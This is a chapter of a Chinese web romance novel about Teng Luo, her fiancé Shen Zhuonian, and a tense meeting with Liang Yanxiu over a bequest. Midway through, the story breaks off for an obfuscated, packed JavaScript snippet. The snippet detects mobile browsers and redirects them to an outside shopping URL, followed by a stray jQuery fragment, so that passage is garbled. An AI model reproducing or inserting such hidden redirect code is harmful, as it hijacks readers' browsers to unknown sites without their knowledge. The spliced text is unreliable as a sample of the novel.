自从滕萝回到楚公馆,沈斫年就过上定点结束恋爱的日子。
每逢十点滕萝就被楚飞鸿的电话call走。
“月亮~”
“乖啦,她最近听教授说起你,觉得我太不务正业,订婚的事情要推迟啦,等毕业再说。”
沈斫年靠在滕萝叹气,“肯定是董事会那群老头咒的,现在好了,我每天像是在偷情,辛德瑞拉也要等午夜十二点的钟声响起才一个人独自回家,我呢,十点就被制裁了。”
“她最近很忙的,你乖乖的,过一阵我再和她聊聊,我们好久不见,她比较担心我。”
沈斫年叹气:“等会长没有那么忙,我们再一起吃个饭聊聊。”
滕萝点头,她把和滕清衍核实过的信息告诉了楚飞鸿,一定会比梦里的进程更快一些。
她摸上沈斫年的头,软软的,像是刚烤好的面包,金灿灿的,看起来就很松软可口。
“我说可能,可能和你的头发有关系。公司开会,董事里的老古董没有提过吗?”
“……有。”沈斫年扶额,董事会不止一次和他提及此事,这头金发他保养了很久,心中不舍,所以对他们迟迟推脱,忘记长辈对金毛的刻板印象了。
“催了我好几回,我改天抽空去染回来。人还是要多表现啊,不能让会长把我认成不务正业的黄毛,我可是城区的良好公民,正经人。”他侧抱住滕萝,语气诚恳。
咖啡厅的一角,正当年华的女生眼眸清澈透亮,空调冷风偶尔吹拂过她温柔的长发,轻轻落在一旁满眼是她的男生鼻梁上,他伸手勾住发丝缠绕在手上,一圈又一圈,心里荡起一圈圈涟漪。
生活中平凡的一角,他的心始终为其心动。
浅蓝色的衣裙在腰间打上蝴蝶结,勾勒出纤细的腰身。
沈斫年搂住她的腰哼唧,想想一会十点就要把人送回家,不能抱着香香的老婆睡觉他就伤心。
“你去检举一下议会的赵议员吧。”
“啊?”
滕萝说的很认真,她这段日子筹谋执委会的事务,险些忘记沈斫年,抛弃那些年里总是时不时和她对着干,平心而论,沈斫年在议会多年的功绩不低。
她简单描述他的勾当,并告诉沈斫年,“铃铛告诉我的,你与他纠缠了很久,这次还是直接将人拿下省的之后他对你不利。”
“铃铛知道的事情不少,怎么不告诉我?当初还给我道歉说他不该莽撞行事让我进去检查了几天,这些天倒是什么都给你说。”
“吓到他了吧?你进去的那段日子他很自责,他性子闷闷呆呆的,很多时候都憋在心里,不太好意思跟你提。现在事情被扭转了许多,他也不想耽误你的前途啊,由我转达给你。”
“呆呆的,一点都不像我。”
沈斫年说完被滕萝打了一巴掌,连忙求饶,“呆呆的也很可爱。”
“十点了,送我回家。”
沈斫年拉长调子“哦”了一声,不情不愿将人送到楚公馆,身后影子车静静守候,以防再度发生车祸意外。
下车前沈斫年依依不舍,在滕萝脸上胡乱亲吻,“我马上就去染黑!”
滕萝十分淡定,提醒他,“你明早有会,白天抽空再去吧,下次再来染回去就好了。”
沈斫年不想走,磨磨唧唧,“狗都让进我不能进,这不公平!老婆~好想去一个只有我们两个人在的地方,没有人可以让我们分开。”
属性窥见一斑。
滕萝懒得理他,甚至威胁他:“被妈妈听见,你就完蛋了,我下车了,你赶紧回去吧。”
隔天沈斫年染回一头黑发,一脸乖巧出现在楚飞鸿面前。
楚飞鸿嗤了一声,“不管你出现多少次,我也不会同意你和月亮在一起的,和你头上这顶毛没关系。”
“为什么?”沈斫年自认第一城区没人比他更适合月亮,梁砚修年纪大,表哥花心,路盛和濯枝关系稳定,显然他非常完美。
“您可以给我一个理由吗?”
楚飞鸿抬手看了眼手上的腕表,距离执委会的会议还有一个小时,她上段议程空出来的时间打算去偷吃一块小蛋糕的。
“走吧,聊聊。”
坐在咖啡厅里楚飞鸿脑海中涌现出霸道总裁的剧情。
给你五百万,离开我的……女儿?
她不由自主发笑,沈斫年搓搓手,更加紧张了。
两人交谈不久,楚飞鸿摆摆手,“努力做一个不被她搁置的人吧。”
上一个人已经死掉了,好可惜,没看见初志华死掉的场景,如果那个时候她在,说不定还可以申请一个“观赏”位置。
自此滕萝觉得沈斫年变得异常忙碌,两个人独处的时间愈发短暂,与前段日子大相径庭。
“到点了。”沈斫年轻啄滕萝一下,揉揉她的头,“宝宝我先走了,待会有个很重要的会,你练完琴给我发消息,之后我们一起去吃饭。”
滕萝抿唇:“从你来公馆到离开连半个小时都没有,还说陪我练琴。你当了董事长,时间也变得金贵起来了。”
“宝宝……”
“去吧,过几个月我还要一场比赛,没时间和你玩恋爱游戏。”
巴掌大的脸面无表情,目光专注落在琴键上,垂下去的发丝像是春日湖边伸出绿意枝条的柳树,清婉平静。
沈斫年嘴边浮起笑容坐到滕萝身边,将人向里挤挤。
滕萝不可置信盯住他,还是跟着他的动作向里面坐了坐。
“卡哇伊。”沈斫年放下琴盖,单手支在上面,望向她笑,“我们月亮为什么可以面无表情说着委屈的话。”
“我没有委屈。”
“嗯,月亮可以一个人待着。”沈斫年伸出手抚摸她的发丝,直起身亲吻她的眼。
“我想做出一些成就来,我知道你担心会长,每天除了练琴晚上还要帮她处理执委会的事。我不能落在你后面啊,家需要两个人齐头并进才行。当然我也不希望你感到被疏忽了,我永远需要月亮。”
滕萝垂下眼眸,默不作声,心中平静的湖泊泛起涟漪。
家不是需要断案的地方,像滕清衍说的体验到爱是一种很奇妙的感觉,可以忽略过去的怀疑与迷惘。
滕萝是这样对楚飞鸿说的,“我想坚定地选择他一次,论起现实,遗憾才是常事,现在我有这个机会填平遗憾,我不想错过。城区的婚姻法很完善,妈咪你是当年推行法律的提倡者,你比我更清楚。我可以的,不管是从内里还是外里我都拥有袖手离去的底气。”
她的视线重闯入一双修长的手轻轻勾住她的指尖,无奈笑道:“油嘴滑舌,快走吧,这下真的要迟到了。”
“亲亲。”
滕萝拗不过沈斫年,任由他去。缠绵的亲吻中,她悄悄睁开眼,对上一道柔情的视线,他笑意自眼底漫开,亲昵地揉她的耳垂。
“记得通知铃铛,让他早点回来。”
沈斫年再不舍也真该走了,琴房的门被无声合上,她轻笑一声,重新打开琴盖练琴。
夜色蔓延,光线从琴键上慢慢溜走,她起身去拿小提琴,不多久悠扬的琴声再次自琴房响起,是贝多芬的《F大调浪漫曲》。
她突然很想拉这首曲子,沈斫年表白的那天为她演奏的就是这首曲子,彼时他还不知道她最擅长的其实是小提琴。
每每提到这件事他都恨不得找个地方把自己埋起来。
也很卡哇伊。
滕萝无奈发笑,惊觉时间已晚,给沈斫年发消息后,正打算打给滕清衍,一个电话率先打了过来。
她颦眉不语,在电话自动挂断前一刻接起,“有什么事吗?”
“见一面,我有重要的事和你说。”
梁砚修独特温柔沉静的嗓音响起,她抬头望向窗外逐渐落幕的黑夜,果断拒绝,“有时候事现在说。”
“事情和楚会长有关。”
“地址。”
——
滕萝挂断沈斫年接二连三的电话,潦草回复:“抱歉,临时有事。”
回复完她放下手机看向等待的梁砚修,大梦一场,再真实的梦境落在当下,她真正看见这个人的时候还是会觉得唏嘘,梦是真的吗?
他也会有私心,会有私情吗?
“这是一份遗赠公证。”
滕萝睫毛颤抖,眼中尽是震惊与不解:“什么意思?”
——一旦当事人梁砚修不幸离世,其名下所有资产,包括不动产……全部由滕萝个人继承。
梁砚修身旁的律师出声为滕萝解说这份公证的法律真实性。
滕萝放下公证书问他:“你什么意思?你骗我过来,想用这些保下谁?林叔还是梁司令?”
梁砚修望向她的眼神复杂克制,望见那份警惕,攥紧的掌心摊开,他让律师暂避,对她道:“对不起。”
“你知道我什么不愿意见到你吗?”顶着他疑惑的目光,滕萝深吸一口气,“我觉得没有面子,我不明白为什么你时时刻刻都能做到冷静自持,明明是你利用我得到会长妈妈的消息,却看不起我,到最后又说我成为你的私心。我不会帮你的,梁司令插手多少我不清楚,但会长妈妈不可能还让他继续在这个位子上,至于林叔,他必须死。所以,你不用做这份遗赠公证。”
第四城区不会再成为城区终极号的港口。
梦境的最后梁砚修替她挡了一枪,他用一命换一命替她找了生路,她才能回家看见铃铛。
很可惜她没看清发枪人。
“我知道,我不打算任何人求情,一切由城区法律决定。收下这份遗嘱吧,就当做随礼。”
“我和沈斫年订婚你拿遗嘱作为随礼吗?”滕萝面无表情,“梁砚修,你在为自己决定沾沾自喜吗?让他知道我们的关系,你可以直接告诉他,若他心里过不去,婚我也不必订了。”
“你误解了我的意思,我从来没有打扰你的想法,我真心希望你可以得到幸福,阿萝,当初是我对不起,在你母亲过世的时候让你听到那番话,那些话非我本意,原就是用来敷衍父亲的,我从来没有看不起你。”
“你的心里没有就真的没有了吗?”滕萝认真反问他,“你的行为、言语、神态透露出的,让我感觉到的,都在俯视我。四大家族出生即拥有一切,你甚至比其他三个都要幸运,父亲没有外遇,没有异母的兄弟姐妹,他权力滔天,从来关注的只有你。你从来都在云端处,再儒雅随和也逃不开站在高处俯视他人的事实。”
梁砚修没有搭话,滕萝避过目光,看向窗外车水马龙,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861414|212010||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我不会接受的,滕清衍找过你是不是?他不肯告诉我你们之间约定了什么,他又请你帮忙的地方我替他还你,之后我们两清。”
“不用。”干涩的喉咙艰难吐出语句,他又说了一声抱歉,“算不上多大的忙,是我有愧于你。”
一旁竖起耳朵偷听的律师震惊,就他听梁砚修助理说的,帮她去东南地区找人,疏通人脉敲定沈澜年的罪行,桩桩件件哪件是小事?
滕萝平静如冰:“那便两清,你不需要有愧了,这个我不会收的。”
不远处门边风铃响起,滕萝心有所感望去,来人灰咖宽肩西装叠着浅灰条纹马甲套装,大驳领层层错落,慵懒而不失奢华,色调柔和,符合BV一贯沉静的设计理念。
“好久不见,砚修哥,我来接我未婚妻回家。”沈斫年大步走到滕萝面前,侧壁三角壁灯的昏黄色灯光打在深色墙壁上,落在客人身上多了一层富含艺术气息的温柔。
梁砚修想开口,滕萝先一步颔首道别,“再见。”
“走啦。”滕萝扯沈斫年,一开始没扯动,生拉硬拽才把人弄走。
店外滕萝开口:“你怎么在这?”
自打沈斫年见到梁砚修,他就知道给滕萝换身份的人是他,如果他没记错,当初梁砚修曾前往第四城区处理暴乱。
楚会长需要躲藏,第四城区很适合彼时的她。
“路过,接你回家。”沈斫年将手放在她的头上,轻叹一声,想到梁砚修又很生气,“老黄瓜刷绿漆不要脸,勾引人家未婚妻。”
他明天就去咨询遗嘱公证,谁用得着他?不要脸的家伙。
上车后沈斫年升起挡板将人抱入怀中,渐渐的,怀中的人幽幽散发出一股子冷松味,刺激得他浑身不舒服。
“吃饱了吗?”
“还行。”滕萝扭头瞪圆眼眸询问:“你吃醋了?”
“他不值得我吃醋。”
一个被抛弃的老男人,他才是值得月亮托付的可靠好男人。
滕萝吞下解释的话,眨眨眼,“哦,那我不就哄你了。”
“不行,要哄,我好生气,那个老男人他勾引你,眼神一看就不清白,他刚刚还想摸你的手!”
“他还很年轻啊。”
“你故意气我是吧?”
“虽然你是最年轻的董事长,但不可否认梁砚修很早就接手公司,泰逢在他手里蒸蒸日上,比表哥大一岁,不能说老吧?”
沈斫年要不行了,他朝天狠狠翻了个白眼,气鼓鼓挪开滕萝,自己靠在车窗生闷气。
滕萝伸过手戳他,场景霎时间变成了摸凹猫,逃避她的触碰,“生气啦?”
“没有。”
滕萝噗嗤笑了声,“还说没有,满脸都是不高兴,等事情安定一些我们去海岛度假吧,只有我们两个人。”
她举起手在沈斫年面前晃,沈斫年从臂弯露出头,眼神饱含期待,“真的吗?”
(???)
“呵呵,假的。”
不嘻嘻:-P
“不可以丢下铃铛的,他会伤心的。”
“好吧好吧╮(︶﹏︶)╭”沈斫年忍不住凑过去搂搂抱抱亲亲,滕萝在他怀里安安静静的,低头一看,她悄悄打开前置摄像头拍他的丑照发给滕清衍。
沈斫年:“……”
被抓包的滕萝眨眼:“喵喵。”
会长回来之后人也活泼很多,算了,她高兴就好。
反正他哪个角度都是完美的。
滕清衍站在楚公馆门口等他们,滕萝下车见到他惊叹一声,“你怎么出来了?”
滕清衍晃了晃牵莉莉丝的狗绳,道,“刚遛狗回来,我明明刚给你发消息说了。”
“啊,sorry,妈妈刚刚没看。”
“嗯……”滕清衍把狗绳递给她,“你先进去吧。”
滕萝左看看,右看看他们父子,“好吧,那我就先进去了。”
等人走后,滕清衍疑惑不解的看着他,“你大晚上怎么穿的这么嗯正式?”
“你都发现了,你妈妈都没有发现。”
“碰见情敌了吗?”
沈斫年:“……”
“喂喂喂!那个老男人怎么可能比得过我?”
滕清衍面无表情:“用不着诋毁人家吧?他其实也不老。”
沈斫年冷脸:“你早就知道他?那会长肯定也知道,合着全家就我不知道!”
“呃……姥姥应该是知道的吧。她们关系很好,消息应该是互通的。”
滕清衍知道楚飞鸿心里天下第一重要的人是滕萝,当年情况危机,她把自己为数不多的积蓄全都留给滕萝,自己一个人跑到海外逃亡,积攒人手后第一件事也是打探滕萝的消息。
妈妈也是,威胁她别的没有用,提到姥姥才会有所反应。
他拍拍沈斫年的肩膀,“大度一点,不要随便吃醋。”
沈斫年:“我……我那是心疼你妈妈。”
“你们生态位又不同,亲情和爱情不会混为一谈的,梁叔叔就更不用说了,妈咪对他平平淡淡的,就这样,我回去了。
拜拜ヾ( ̄▽ ̄)Bye~Bye~”
独留沈斫年一人在风中飘零:“……”
小混蛋们。